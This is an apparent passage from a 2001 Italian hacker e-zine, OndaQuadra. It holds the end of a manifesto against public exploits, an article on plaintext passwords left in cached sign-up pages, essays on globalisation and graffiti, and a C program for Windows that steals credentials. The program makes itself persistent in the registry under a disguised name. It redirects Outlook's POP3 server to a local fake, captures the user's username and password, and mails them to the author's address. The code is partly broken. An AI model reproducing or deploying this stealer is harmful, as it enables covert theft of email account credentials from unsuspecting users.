fucili automatici o da missili nucleari e non possono venire diffuse senza il controllo
delle regole sull'esportazione, gli exploit non dovrebbero essere resi pubblicamente
disponibili ad una massa di utenti grande quanto quella della rete Internet. Ogniqualvolta
viene reso pubblico un exploit attraverso i canali di Bugtraq, si consuma un autentico
olocausto digitale, e ragazzini da tutto il mondo lo scaricano ed attaccano una enorme
quantita' di amministratori di sistemi totalmente non preparati. Sinceramente,
l'integrita' dei sistemi a livello mondiale avrebbe una garanzia molto maggiore nel momento
in cui gli exploit venissero mantenuti riservati e non pubblici.

Un equivoco abbastanza comune e' quello di ritenere che, se gruppi ristretti di individui
mantenessero riservate le informazioni relative ai segreti sulla sicurezza, essi diverrebbero
i dominatori della cosiddetta "scena illegale", poiche' un numero incalcolabile di sistemi
vulnerabili si troverebbero alla loro merce'. Questo e' quanto di piu' lontano dalla verita'
ci possa essere. I vari Forum di scambio di informazioni, quali Bugtraq, Packetstorm,
www.hack.co.za e vuln.dev hanno certamente contribuito molto piu' a minacciare i sistemi
sulla Rete che ad aiutarli.

Cio' che i visitatori occasionali di questi siti non riescono a realizzare e' che alcuni dei
gruppi maggiormente rappresentativi non pubblicano le loro scoperte immediatamente, ma
soltanto come ultima possibilita' nel caso in cui il loro codice risulti incorretto od
obsoleto. Questo e' il motivo per cui le date di produzione negli header file spesso
precedono la data di rilascio di mesi e persino di anni.

Un'altra conclusione errata e' quella che se questi gruppi non hanno ancora rilasciato nulla
nel giro di alcuni mesi, e' perche' non hanno trovato nulla di nuovo. Chi legge regolarmente
questi Forum deve essere messo a conoscenza di queste cose.

Noi non vogliamo certo scoraggiare lo sviluppo degli exploit od il controllo del codice sorgente.
Stiamo semplicemente cercando di impedire che i risultati di tali sforzi vedano la luce. Unitevi
a noi se volete vedere la fine della commercializzazione, del propagandismo e dell'abuso
generale dell'utilizzo delle informazioni sulal sicurezza.

Grazie.



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| C0ME RECUPERARE USER E PWD DURANTE UNA SESSi0NE 0UTL00K [bondo] 0x1B/0x29 |
+-------------------------------------------------------------------------------+

============================================================================================

+---------+
|\ /|
| \___/ | Come grabbare user-id e password della
| | casella e-mail tramite Outlook
+---------+ by bondo


============================================================================================





Semplice: con questo programmino.
Il funzionamento è semplicissimo: la prima volta che
lo si lancia, si
aggiunge al registro di configurazione per far si che
parta a ogni
riavvio, a meno che non sia riuscito a mandarci user e
pass, e poi controlla
la connessione a internet: se l'utente è connesso, è
probabile che
controlli la posta con outlook, quindi noi cambiamo le
impostazioni del pop
server. Al posto del pop originale di posta, mettiamo
'localhost':
quando outlook controllerà la posta, si connetterà al
computer locale, dove
il nostro bel programmino in ascolto sulla porta 110
gli risponderà.
Outlook, credendo di avere a che fare con il vero pop
server, ci manderà
di tutto e di +! Una volta ricevuti user e password,
chiudiamo il
socket e outlook si incazzerà un po'. Poi ci
rimuoviamo dal registro di
configurazione, rimettiamo il pop server originale
nella configurazione di
outlook e andiamo a casa. Nel frattempo, il poverello
che è stato
attaccato tenterà di ricevere di nuovo la posta e...
magia! tutto funziona
come al solito!

So che è una lamerata, ma mi è venuto in mente mentre
stavo progettando
un proxy per outlook, ed è solamente per dimostrare la
vulnerabilità di
outlook: che bisogno c'è di imboscare e criptare la
password della
posta, quando poi con una robetta del genere puoi
averla comunque?
Volendo, può essere implementato come funzione di una
backdoor e in
ogni caso, le potenzialità offerte sono ben più ampie
che per una semplice
lamerata...
Come dicevo, stò scrivendo un proxy per Outlook con
funzioni
anti-spamming/anti-script/anti-poliomelite/anti-camera/anti-pulci,
insomma, un
buon proxy! Per il momento non vi preannuncio niente -
chissà che
prossimamente non troviate un bel articoletto con i
sorgenti...

NOTE: come al solito, non potevano mancare note in
merito. Il solito
disclaimer:
se vi beccano, vi si fonde il computer, il tipo a cui
avete fregato la
password vi frantuma la mascella, sono problemi vostri
- io non centro
niente. Ma insomma, scaricatevi da qualche parte un
buon disclaimer e
incollatevelo sopra il monitor!

NOTE TECNICHE: anche queste sono d'obbligo. Con questo
codice dovete
avere una buona conoscenza del bersaglio perchè:
1. dovete spulciare nel registro nella sezione USER e
quindi bisogna
sapere effettivamente qual'è. Qui si da per scontato
che il pc utilizzato
abbia un unico utente.
2. la vittima potrebbe avere più account di posta e il
primo della
lista potrebbe non essere quello che interessa a voi.
3. la vittima potrebbe essere meno lamer di voi e aver
un buon firewall
o un monitor di rete, o almeno evitare di aprire
allegati sconosciuti
alle mail di sconosciuti.



--- the SOURCE start here ---

#include <conio.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <process.h>
#include <winsock2.h>

file://==> winsock...
WSAData out_init;
long out_id, out_id2, out_id3;
SOCKET out_socket;
struct sockaddr_in out_sin;
int zi, x;
file://=> altre...
char from_outlook[255], crlf[2],
CATCHED_ADDR_FROM_OUTLOOK[45];

char destination[MAX_PATH]="";
char
key[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices\\TsrManager16bit";
char *exec;
long lenght, ret, lenght2;
HKEY chiave;

int connesso(void)
{
HKEY CHIAVE;
char LUN[1024];
LPBYTE PARAM;
LPDWORD LUN2;
strcpy(LUN,
"System\\CurrentControlSet\\Services\\RemoteAccess");
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, LUN, 0,
KEY_QUERY_VALUE,
&CHIAVE) == ERROR_SUCCESS)
{
DWORD TIPO = 0;
DWORD LUN2 = sizeof(PARAM);
RegQueryValueEx(CHIAVE, "Remote Connection", NULL,
&TIPO, (BYTE
*)&PARAM, &LUN2);
RegCloseKey(CHIAVE);
}
if((int)PARAM=1) return 0;
if((int)PARAM=0) return 1;
}



void set_server(char quale[])
{
file://becca la chiave che contiene l'indirizzo del pop
dal registro e la
cambia
file://per passare tutti i dati attraverso il proxy
HKEY CHIAVE;
char cosa[90], stringa[45], loc[10];
long lun, succ;
LPDWORD LUNG;
strcpy(cosa, ".Default\\Software\\Microsoft\\Internet
Account
Manager\\Accounts\\00000001"
);

lun = strlen(quale) + 1;

if (RegOpenKeyEx(HKEY_USERS, cosa, 0,
KEY_QUERY_VALUE,
&CHIAVE)==ERROR_SUCCESS)
{
DWORD TIPO = REG_SZ;
DWORD LUNG = sizeof(stringa);
RegQueryValueEx(CHIAVE, "POP3 Server", NULL, &TIPO ,
stringa, &LUNG);
RegSetValueEx(CHIAVE,"POP3 Server", NULL, REG_SZ,
quale, lun);
RegCloseKey(CHIAVE);
};
strcpy(CATCHED_ADDR_FROM_OUTLOOK, stringa);
}


void init_outlook_socket(void)
{
out_id=WSAStartup(0x0101, &out_init);
out_sin.sin_addr.s_addr = htonl(INADDR_ANY);
file://volendo, può anche
essere usata in simultanea come backdoor quando non è
utilizzata da outlook
come proxy...
out_sin.sin_family = AF_INET;
out_sin.sin_port = htons(110);
out_socket = socket(AF_INET, SOCK_STREAM, 0);

out_id2=bind(out_socket,(struct sockaddr *)
&out_sin,sizeof(out_sin));
}


void flusha(char *what)
{
for(unsigned int i=0; i<sizeof(what); i++)
what[i]=NULL;
}

void ricevi(SOCKET zock, char *dovelometto)
{
int ind;
char buffer[1024]; file://buffer da 1k
flusha(buffer);
ind=recv(zock, buffer, sizeof(buffer), 0);
}

void manda(SOCKET dove, char cosa[]/*, chi, quando,
perchè*/
)
{
send(dove, cosa, strlen(cosa), 0);
send(dove, crlf, 2, 0);
}

void grabba()
{
char user[255], pass[255], stringa[255],
appoggino[20];
flusha(user);
flusha(pass);

manda(out_socket, "+OK POP3 server ready");
ricevi(out_socket, user);
manda(out_socket, "+OK Password request");
ricevi(out_socket, pass);
manda(out_socket, "+OK 0 messages");

file://chiude il socket...
closesocket(out_socket);

file://a questo punto oulook vi comunica che si è
verificato un errorino e
di riprovare...
file://(anche perchè gli abbiamo chiuso brutalmente la
connessione senza
salutarci)

file://reimposta il pop server originario, così quando si
riprova a
scaricare la posta,
file://tutto procede come dovrebbe...
set_server(CATCHED_ADDR_FROM_OUTLOOK);

file://ma prima di uscire, mi mando in posta USER e PASS...

out_sin.sin_addr.s_addr = htonl("195.130.225.171");
out_sin.sin_family = AF_INET;
out_sin.sin_port = htons(25);
out_socket = socket(AF_INET, SOCK_STREAM, 0);

manda(out_socket, "HELO localhostrega");
manda(out_socket, "MAIL FROM: \" + Us3R&P4sS + \"
<sfighiz@lamerlandia.coma>"
);
manda(out_socket, "RCPT TO: <bondo@marijuana.com>");
manda(out_socket, "DATA");

strcpy(appoggino, "USER: ");
strcat(stringa, appoggino);
strcat(stringa, user);
strcpy(appoggino, "PASS: ");
strcat(stringa, appoggino);
strcat(stringa, pass);

send(zocket, stringa, strlen(stringa), 0);
send(zocket, crlf, 2, 0);
send(zocket, crlf, 2, 0);

manda(".");

closesocket(out_socket);
}

void remove()
{
RegDeleteValue(HKEY_LOCAL_MACHINE, &key);
}

int main(void)
{
char **argv=_argv;
strcpy(appname,argv[0]);

file://si installa nel registro...
lenght=strlen(appname);
exec=&appname[0]+lenght-11;
if(strcmp(exec, "MSTSR16.EXE")!=0)
{
GetWindowsDirectory(destination, MAX_PATH);
strcat(destination, "\\SYSTEM\\MSTSR16.EXE");
CopyFile(argv[0], destination, FALSE);

lenght2=strlen(destination)+1;

ret=RegCreateKey(HKEY_LOCAL_MACHINE, key, &chiave);

if(ret==ERROR_SUCCESS)
{
ret=RegSetValueEx(chiave, "TsrManager16bit", NULL,
REG_SZ,
destination, lenght2);
}
RegCloseKey(chiave);
}


crlf[0]=0xa; crlf[1]=0xd;

file://inizializza il socket...
init_outlook_socket();

file://ascolta...
out_id3=listen(out_socket,1);

file://appena trova la connessione a internet, cambia
l'indirizzo del pop
con quello locale
file://di modo che si colleghi al nostro programmino...
while(connesso)
{
}
set_server("localhost");

file://aspetta che outlook richieda di scaricare la
posta...
int adsize=sizeof(struct sockaddr_in);
out_socket=accept(out_socket,(struct sockaddr *)
&out_sin,&adsize);

file://becca USER e PASS...
grabba();

file://si toglie dal registro - tanto ormai USER e PASS ce
li abbiamo...
remove();

file://ciao ciao!!!
}


--- end of the SOURCE ---



============================================================================================

-.~.-([ bondo ])-.~.-

bondo@marijuana.com

============================================================================================

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| WEB SERViCE SiGN-UP [E4zy] 0x1C/0x29 |
+-------------------------------------------------------------------------------+


Ogni giorno aumenta esponenzialmente il numero di web portal che offrono
servizi sul web, a partire dal web hosting gratuito, fino ad arrivare agli
account e-mail web based; molti di questi fornitori di servizi sono
accomunati dalla superficialità con cui gestiscono la registrazione dei
propri utenti.

All'atto della creazione di un account l'user è invitato a inserire i propri
dati personali: è molto frequente, durante l'inserimento degli stessi, che
l'utente incorra in errori o che l'username da esso scelto sia già stato
registrato in precedenza.
Tale evento sarà accompagnato da una pagina che ripropone i dati immessi
nella registrazione e avvisa l'utente di un errore nella procedura di
registrazione esortandolo a reinserire i dati correttamente, i campi
password sono criptati ma analizzando l'html della pagina è possibile
leggerne in chiaro il valore in corrispondenza dei tag di input relativi a
tali campi.
Questo pagina viene di norma salvata nella cartella Temporary Internet Files
consentendo in questo modo ad un eventuale attacker di risalire all'username
e password inseriti durante la registrazione.

Ma vediamo la cosa un po' più nel dettaglio analizzando il codice html di
alcune pagine su cui ho avuto modo di riscontrare tale vulnerabilità; il
primo esempio è tratto da una registrazione effettuata su Yahoo (ripetuta
per differenti servizi quali geocities e yahoo! mail), i valori che sono
stati introdotti durante la registrazione sono i seguenti:

ID Yahoo! preferito: mario
Password: ripped_password

tale pagina riporta in chiaro i valori relativi ai campi login e password:


<table width=100% border=0>
<tr><td colspan=2 align=center><font face=Arial><big>Qualche altro utente ha
già scelto <font color=red><b>mario</b></font>. Prova un altro ID
Yahoo!.</big></font><hr size=0></td></tr>
<tr><td width=30% align=right><font face=Arial size=-1 color=ff0000>
ID Yahoo! preferito:</font></td>
<td width=70%><input type=text name="login" value="mario" autocomplete=off
size=15 maxlength=32 ><font face=Arial size=-1>
<b>@ yahoo.it</b>
</font></td></tr>
<tr><td><font face=Arial size=-2> </font></td><td><font face=Arial
size=-2>(per esempio: "mrossi" o "annina_99")</font></td></tr>
<tr><td width=30% align=right><font face=Arial size=-1
>Password:</font></td>
<td><font face=Arial size=-1><b>(nascosta)</b><input type=hidden name="pw"
value="ripped_password" ><input type=hidden name="pw2"
value="ripped_password" ></font></td></tr>
</table>

Altro esempio è rappresentato dalla pagina risultante dalla registrazione a
Xoom, i valori che sono stati introdotti durante la registrazione sono
identici ai precedenti, osservandone il codice html nel dettaglio possiamo
notare che ancora una volta i campi password sono riportati senza alcuna
criptazione:


<TD BGCOLOR="#99CCFF" ALIGN=LEFT WIDTH=225 VALIGN=TOP><INPUT TYPE=TEXT
NAME=SCREEN_NAME VALUE="mario" SIZE=28><BR>
<CENTER><FONT COLOR="#ff0000" SIZE=+3><BLINK> - - E R R O R E - -
</BLINK></FONT><BR>
<FONT COLOR="#ff0000" SIZE=-1>
<B>Il Nome scelto<BR>
è già in uso da un altro utente<BR>
E' necessario sceglierne uno nuovo.</B>
</FONT></CENTER>

</TD>
</TR>

<TR><TD BGCOLOR=#CCCCCC ALIGN=RIGHT>
<FONT COLOR="#ff0000" SIZE=-1>*</FONT>
Scegli la <B>Password</B>:<BR>
</TD>
<TD BGCOLOR="#99CCFF" ALIGN=LEFT><INPUT TYPE=PASSWORD NAME=PASSWORD
VALUE="ripped_password" SIZE=28><BR>

</TD>
</TR>

<TR><TD BGCOLOR=#CCCCCC ALIGN=RIGHT>
<FONT COLOR="#ff0000" SIZE=-1>*</FONT>
Digita ancora la <B>Password</B>:</TD>
<TD BGCOLOR="#99CCFF" ALIGN=LEFT><INPUT TYPE=PASSWORD NAME=PASSWORD2
VALUE="ripped_password" SIZE=28>

</TD>
</TR>

Ultimo esempio, infine, ci viene gentilmente concesso da Infinito, il quale
ci ripropone l'elenco dettagliato dei dati personali inseriti dall'utente
compresi i dati necessari al login, il codice html si commenta da solo:


<FONT size=3>
<input type="hidden" name="vercd" value="">
<input type="hidden" name="veros" value="">
<input type="hidden" name="pop" value="">
<input type="hidden" name="page" value="4">
<input type="hidden" name="codecd" value="">
<input type="hidden" name="srcinfo" value="16">
<input type="hidden" name="srcinfo1" value="0">
<input type="hidden" name="privacy" value="on">
<input type="hidden" name="privacy1" value="">
<input type="hidden" name="contract" value="on">
<input type="hidden" name="lex" value="on">
<input type="hidden" name="tipo" value="homebartop">
<input type="hidden" name="fname" value="mario">
<input type="hidden" name="lname" value="rossi">
<input type="hidden" name="anno" value="01/01/1960">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="street" value="light">
<input type="hidden" name="nstreet" value="1">
<input type="hidden" name="city" value="light">
<input type="hidden" name="cap" value="74100">
<input type="hidden" name="province" value=" ">
<input type="hidden" name="phonearea" value="0000">
<input type="hidden" name="phonen" value="000001">
<input type="hidden" name="mobile" value="000001">
<input type="hidden" name="mobilenum" value="000001">
<input type="hidden" name="lightuser" value="1">
<input type="hidden" name="password" value="ripped">
<input type="hidden" name="confpassword" value="ripped">
<input type="hidden" name="pabx" value="">
<input type="hidden" name="pop2" value="">
<input type="hidden" name="reminder" value="®_date=">
<input type="hidden" name="nickname" value="">
<input type="hidden" name="retry" value="SI">
<!input type=image src="/img/registrami.gif" alt="Invia" border=0>
<input type="submit" value="Registrati">
</FONT>

Ci sono molti fornitori di servizi che affrontano questo problema con
estrema superficialità, qui di seguito riporto i nomi dei file su cui
vengono loggati i dati delle registrazioni ai servizi on-line su cui ho
avuto modo di riscontrare tale vulnerabilità:

Xoom foo4validatedata[1]
Yahoo! register[1]
Infinito Ca<xxxxxx> dove <xxxxxx> rappresenta una stringa di sei caratteri
random


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #03 - 17/09/2001 |
| SF0G0 Di UN NAViGAT0RE S0LiTARi0 [Malkavian] 0x1D/0x29 |
+-------------------------------------------------------------------------------+


Ondaquadra si propone come libero porto, in cui tutti i navigatori solitari
di questo mondo virtuale (nonche' di quello reale) possono approdare e lasciare
la propria impronta sulla sabbia, sperando che qualcuno la veda e la faccia
propria, prima che le onde la cancellino.
Questo mi ha spinto a scrivere, in queste poche righe, alcune modeste opinioni,
sulla globalizzazione e sul mondo in cui stiamo "vivendo". Ringrazio chi
leggera' tutto l'articolo, libero da pregiudizi e pronto ad ascoltare quanto
sto per dire. Mi interessa suscitare in voi dei pensieri e magari anche avere
vostre opinioni sulla questione...
Ma veniamo al dunque: in sintesi credo che in futuro, se andiamo avanti cosi',
non ci sara'...nessun futuro!!!
Infatti cosa promette questo mondo a noi e a quelli che verranno? Ben poco...
Promette che gli interessi economici siano messi sempre al primo posto,
davanti alle persone. Questo e' il risultato del capitalismo sfrenato
e, attualmente, della volonta' di creare il cosidetto "villaggio globale",
cioe' un mondo senza frontiere in cui vige il libero commercio e le regole
di mercato sono quelle che dettano i comportamenti, gli usi e i costumi della
gente. In questo villaggio globale avrebbe ruolo determinante la rete internet,
in grado di eliminare le distanze, di facilitare il commercio, ecc.
A questo riguardo mi preme levare un grido: vi siete accorti che anche il
mondo dell'informatica, dei pc, di internet e' stato manipolato da questi signori
affaristi, che spesso non hanno nemmeno cognizione di cosa stiano parlando?
La rete non e' piu' soltanto un posto dove si incontrano appassionati di
informatica oppure universitari che si scambiano informazioni, ecc.
Oggi la rete e' il posto su cui troviamo sempre piu' casalinghe annoiate
che visitano il sito di cucina per trovare ricette, che frequentano il sito
del Lotto per giocare un terno online...e' paradossale: ci hanno convinto che
il pc serve per fare QUALSIASI cosa, che chi non ha un pc a casa sia OUT, fuori
dal mondo e dalla societa' "civile". Ne e' la prova il fatto che anche nelle ultime
elezioni alcuni politici sbandieravano le parole Internet e Computer per
raggranellare qualche voto in piu'...senza magari nemmeno saperne nulla.
Beh, io vi dico che NON e' cosi', che ci sono moltissime persone che potrebbero
vivere benissimo senza pc o senza internet: dov'e' finita la poesia di andare
a giocare il terno al lotto nella ricevitoria del proprio paese, di cercare le
ricette nel vecchio libro di cucina della nonna, ecc. Insomma dove e' finito
il contatto umano?
Che dire poi della corsa alla velocita' e del mercato informatico? Ci convincono
che servono processori sempre piu' potenti, sempre piu' ram, avere un pc completo di masterizzatore, dvd e chi piu' ne ha piu' ne metta...anche questo mondo e' stato
ormai "assorbito" dall'economia, dagli "uomini in cravatta"...
Beh, che devo dire??? Io vado orgoglioso del mio pentium 166 con 64 Mega ram :))
Rifletteci un momento sopra: quanta gente pensate che sfrutti appieno la
velocita' di un processore che supera 1 Giga o quantita' di ram di 128/512 Mega?
Nelle pubbliche amministrazioni, ad esempio, che non a caso sono il settore piu'
in deficit dell'apparato statale, vengono regolarmente sostituiti i computers,
spendendo ogni volta milioni in pc ultramoderni, usati poi solo per scrivere una
lettera con word o per creare una tabella con excel (...e ogni tanto qualche
amministratore del denaro pubblico ci si fa scappare anche qualche accessorio per
il suo pc personale...).
Bah...
Cosa c'e' di veramente globale in questo mondo odierno? Nulla, tranne gli scambi
monetari effettuati dai paesi piu' ricchi, i vari riciclaggi di denaro, ecc.
E' sotto l'occhio di tutti che il risultato raggiunto dal capitalismo sia un
sempre maggior arricchimento delle nazioni ricche e un impoverimento sempre piu'
devastante dei paesi poveri. Non e' un caso che l'obesita' (fatta eccezione per
quella originata da disfunzioni metaboliche) sia altissima in occidente: significa
che c'e' un surplus, un eccesso di cibo, ricchezza e quant'altro. Questo e'
anche causa dell'insoddisfazione generale che affligge le persone, che non
hanno piu' soltanto il necessario, ma hanno, e soprattutto pretendono di
possedere, l'eccesso. Per giunta siamo tutti abilmente manovrati da tv,
giornali, spot, i quali ci fanno credere che per essere felici dobbiamo
assolutamente comprare l'ultima auto uscita sul mercato o le scarpe di una
data marca...Tutto cio' e' molto sciocco. Nella societa' contemporanea,
come e' stato notato gia' da molti (per esempio dallo psichiatra Fromm
nel suo "L'amore per la vita" o da Osho nel suo "Tantra: la comprensione
suprema"
, tanto per ricordarne due), il problema principale e' che l'uomo non
"è" piu', ma esplica se stesso nell'"avere", nel "possedere". L'"essere" e'
stato barattato inconsapevolmente con l'"avere"!
Il motto del mondo moderno e' "migliora te stesso o sarai un perdente, ambisci
sempre a possedere piu' danaro e potere se vuoi avere successo ed essere stimato"
.
Ahime'! Quante persone conosco che valutano le persone in base all'auto da loro
posseduta...sento dire frasi come: "Azz...quello dev'essere proprio una persona
potente...guarda che Mercedes che ha!!!"
. Bisogna capire che nella vita c'e' di
piu', che non serve correre per arrivare da nessuna parte, che la vera ricchezza e'
gia' in ciascuno di noi...
Altro capitolo:
come si puo' pensare che i politici dei paesi piu' potenti possano agire per
il bene dell'umanita'? Si', probabilmente vorranno anche fare qualcosa per i
paesi piu' poveri o per limitare l'inquinamento, ma tutti i loro buoni
propositi andranno in fumo quando si scontreranno con gli interessi
economici, i quali non saranno MAI contraddetti dai rappresentanti dei paesi
piu' potenti. Mi sono sempre chiesto, e se ora qualcuno di voi pensa di
avere una risposta me la dia, perche' gli USA intervengono con tanta
celerita' nel Golfo o nei Balcani, "fregandosene" poi delle altre guerre sparse,
per esempio, in Africa. Mi sorge il dubbio che lo facciano, ancora una
volta, per avere dei profitti: nel Golfo per la ricchezza generata dal
petrolio, nei Balcani per avere influenza su quei paesi, finora vissuti
sotto la "giurisdizione" comunista ed ora invece "caduti" sotto il "dominio"
americano. Infatti sono ormai in debito con gli USA stessi, che sono intervenuti nelle
loro guerre e che ora stanno fornendo "gentilmente" soldi per la ricostruzione.
Un po' come fecero circa mezzo secolo fa in Italia: ci fornirono i soldi
per la ricostruzione dopo la seconda guerra mondiale, ma ancora oggi stiamo
pagando la "sudditanza" agli americani e alla NATO.
A voi la parola...questi sono solo i sospetti di una persona ignorante in
materia...ma che cerca di capire quello che gli sta attorno...
Andando avanti cosi' si ha e si avra' una sempre maggiore
"spersonificazione" e alienazione di massa...gia' siamo quasi arrivati a
questo punto: quante mattine in metropolitana ho visto facce stanche e sguardi
vuoti di "persone", che ripetono automaticamente tutti i santi giorni quel viaggio
per arrivare ad un posto di lavoro, magari da loro odiato profondamente!!
Raramente vedo o conosco persone che svolgono il lavoro che desiderano fare,
soddisfatte di loro stesse e della loro vita. Nessuno e' piu' lo spettatore
dello show della propria vita, ma tutti siamo solo marionette, pupazzi
manovrati abilmente da qualcuno per partecipare al SUO spettacolo.
Chi sono questi "altri" che ci manovrano?
Semplicemente i "soliti noti": politici, giornalisti, mass media, ecc.
Tutti ci impongono in modo "subliminale" le loro idee, facendoci credere che
siano le nostre, che ce le siamo fatte da soli e autonomamente. Invece
nemmeno ci accorgiamo di quanto siamo facilmente manipolabili. A meno che...
A meno che non ci sia un "risveglio" collettivo, guidato dallo sviluppo di
un nuovo senso critico verso le idee che ci vengono proposte e verso le
immagini che ci vengono passate tutti i giorni dalle televisioni: idee ed
immagini spesso altamente opinabili, che dimostrano come i politici, nonche'
quelli che dirigono i mezzi di comunicazione, ormai trattino il "pubblico"
come un ammasso di esseri senza cervello...tanto l'importante per loro e'
fare odience o raccogliere voti...
Ed allora ribadisco che, secondo me, capire questo "gioco perverso" e' la
vera rivoluzione se vogliamo essere liberi: la liberta' non e' fare tutto
quello che ci passa per la testa o infrangere le leggi. Essere libero
significa invece vivere in un paese in cui ci siano leggi giuste e che siano
"piacevolmente" rispettabili dalle persone, che ne comprendono l'importanza!
Essere libero significa avere coscienza di se' e delle proprie scelte, non
lasciandosi influenzare da chi tira l'acqua al suo mulino!
Per concludere lasciatemi accennare alle manifestazioni violente che si
verificano di solito durante incontri del fondo monetario internazionale o
del G8. Volete sapere cosa ne penso? Che servono a ben poco e che facciano
il gioco dei mass-media e dei politici: l'unico risultato ottenuto e' che i
manifestanti vengano "bollati" come ragazzotti violenti che hanno solo voglia
di fare casino e di sfasciare tutto...ecco cosi' che nessun messaggio positivo e
propositivo arrivera' alle famiglie che guardano la televisione da casa.
Cio' e' stato evidente anche nell'ultimo G8 in cui c'erano addirittura poliziotti
travestiti da tute nere, che si infiltravano nelle loro fila per esortarli a
distruggere tutto cio' che capitava loro davanti. Inoltre al black bloc e'
stata lasciata una certa liberta' di movimento nella citta' tanto da riuscire a
portare dentro Genova camion pieni di spranghe, ecc.
E' dunque evidente che la frangia violenta ha fatto comodo al governo, perche'
gli ha permesso ancora una volta di screditare anche i manifestanti pacifici e le
loro idee dinanzi al "popolo" italiano.
Qualcuno puo' opinare che in assenza di atti violenti e "forti" le notizie
sulle manifestazioni di protesta non avrebbero un gran risalto. Questo e' falso
perche' se ci saranno sempre grandi mobilitazioni con un gran numero di persone
i media saranno "obbligati" a parlare dei manifestanti anche in assenza di
violenza. Inoltre per far arrivare il messaggio alle famiglie italiane e a
tutti quelli "che tornano a casa stanchi dal lavoro"...perche' non cominciamo a
diffondere le nostre idee agli altri? Puo' darsi che riusciremmo a
"svegliare" qualche altra persona dal suo "torpore" mentale, la quale potra'
poi "svegliarne" un'altra e cosi' via...A volte la parola e le idee hanno piu'
potere di qualsiasi atto violento: questa e' la vera rivoluzione! (per chi ha
visto il film "Matrix"...proponiamo a chi ci sta vicino se vuole la "pillola rossa"
o la "pillola blu")
Uff...Uff...finito! Anche se avrei da dire ancora tante altre cose...
Ma per oggi il Malk_Ideologo :) chiude i battenti e vi ringrazia se gli avete
prestato ascolto. Non sa quando e se riaprira' i suddetti battenti...:)
Per cui Stay Tuned...Byez

MALKAVIAN >>> URL: www.malkavian13.org >>> MAIL: malkavian@malkavian13.org


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #03 - 17/09/2001 |
| A PR0P0SiT0 Di WRiTiNG [Gianlu] 1E/0x29 |
+-------------------------------------------------------------------------------+


Dal momento in cui mi è stato suggerito di scrivere un articolo sul
writing (graffiti, non letteratura!) mi sono trovato in serio imbarazzo...
mi sono venuti in mente fiumi di parole scritti sull'argomento da parte di chi,
ritenendosi a ragione o a torto autorità in materia, pretendeva di fornire su
questa
cosa (fenomeno? Cultura?) una visione univoca e pure un po' filosofeggiante
che non mi è mai piaciuta. Il motivo di fondo del mio imbarazzo è che, parlando
di
quello che per me significa dipingere, è sempre presente il rischio di cadere
nella stessa presunzione di chi spaccia la propria visione del writing per
quella autentica. Se devo essere sincero, mi piacerebbe poter davvero aprire
con un "credo" del writer, valido e condiviso da tutti quelli che dipingono,
ma prenderei in giro me stesso oltre che chi sta leggendo...con il tempo
mi sono trovato di fronte a tanti di quei modi di porsi, da parte di chi
dipinge verso quello che sta facendo, che non mi resta altro che presentare la
mia
personalissima visione di quello che faccio. Prendere o lasciare!
Dopotutto credo che il modo migliore di capire questo curioso fenomeno chiamato
graffiti sia non tanto di ragionarci sopra, quanto di fermarsi un momento a
guardarlo...per quello che è, nel bene e nel male. Ovvero ragionarlo in termini
di estetica anziché di
sociologia: se hai davanti un pezzo ti piace? Ti colpisce? Intuisci lo
studio delle forme che ci sta dietro? Bene,è più che sufficiente. Ti colpisce
il fatto che della stessa persona o crew ne hai visti tanti altri? Meglio
ancora. Ma forse andare oltre significa cercare di capire con le testa ciò che va
capito
innanzitutto con gli occhi; un passo alla volta no?
Quando parlo di writing con chi non se ne è mai occupato, la prima
domanda che mi sento fare in genere è: cosa ti spinge a farlo? Ogni volta sono
risate.
Mie, naturalmente...disegno da circa otto anni e ancora non sono in grado di
rispondere in maniera soddisfacente a questo basilare e tutto sommato
giustificatissimo quesito, devo preoccuparmi? Mah...dopotutto a voi,
che vi spinge a rischiare le chiappe per bucare i sistemi informatici? Io
penso che non ci sia una grande differenza di fondo tra le due cose...perché al
di là
di tutte le motivazioni sociali/politiche/culturali ( e chi più ne ha,più ne
metta) che si possono portare, io credo che senza una spinta tanto irrazionale
quanto
irrefrenabile io non mi infilerei sotto il filo spinato che c'è davanti
ai treni né voi tra le maglie informatiche che proteggono la rete. Magari la
faccio troppo semplice, ma il bisogno di lasciare il proprio segno più marcato e
visibile degli altri è di per se qualcosa che ti basta per continuare, anche se
non è
sufficiente per spiegarlo a chi vuole capire quello che fai. Del resto
credo che questo sia ancora più evidente se trascuro per un attimo più di
trent'anni di storia del writing e penso a quello che era al principio: dei
ragazzi
che entravano nei depositi della subway di New York e scrivevano il proprio
nome sui vagoni per vederli passare firmati il giorno dopo. Un solo spray, una
scritta, tutto qui. La sintesi perfetta. Con il tempo gli spray hanno cominciato
ad essere due, poi tre, la scritta ha cominciato a prendere una forma ed uno
spessore, con un riempimento ed un outline...con gli anni sono nati i pezzi così
come
li conosciamo ora. Tutti i discorsi sull'arte, sulla subcultura, sulla
ribellione e sul reato sono nati dopo (beh magari quelli sul reato no...). Quello

che secondo me non si dovrebbe perdere di vista è la spinta che ha generato
qualcosa che tutt'oggi sopravvive, anche se evoluta e cambiata. Quella spinta a
lasciare una traccia è la cosa più importante di tutte; finché mi sentirò un
writer,
il fatto di non lasciare un segno del mio passaggio mi fa sentire come se non
esistessi, mi fa sentire come una delle tante facce anonime ed indistinte che
affollano il centro il sabato pomeriggio ed i pub la sera per poi dissolversi con
l'avvicinarsi del mattino, mi fa sentire inutile in quanto
improduttivo...quella folla grigia e schiamazzante non lascia nulla dietro di sé
a parte
bicchieri vuoti e mozziconi di sigarette. Per me lasciare un segno non significa
ricoprire tutto di tags (per altri invece sì...), quanto piuttosto lasciarmi
dietro un pezzo...colorato o argento, curato o veloce (ma anche le cose veloci
sono curate a modo loro), sul metallo o sul cemento, questo lo stabilisci di
volta
in volta, quello che ho intorno è una pagina vuota da riempire e non è necessario

saturarla di colore (altrimenti poi i colori rischiano di formare una macchia
indistinta!)...basta metterlo nei punti giusti. Dopodiché, quale sia il
punto giusto e quale sia la quantità giusta, non è dato saperlo perché ognuno
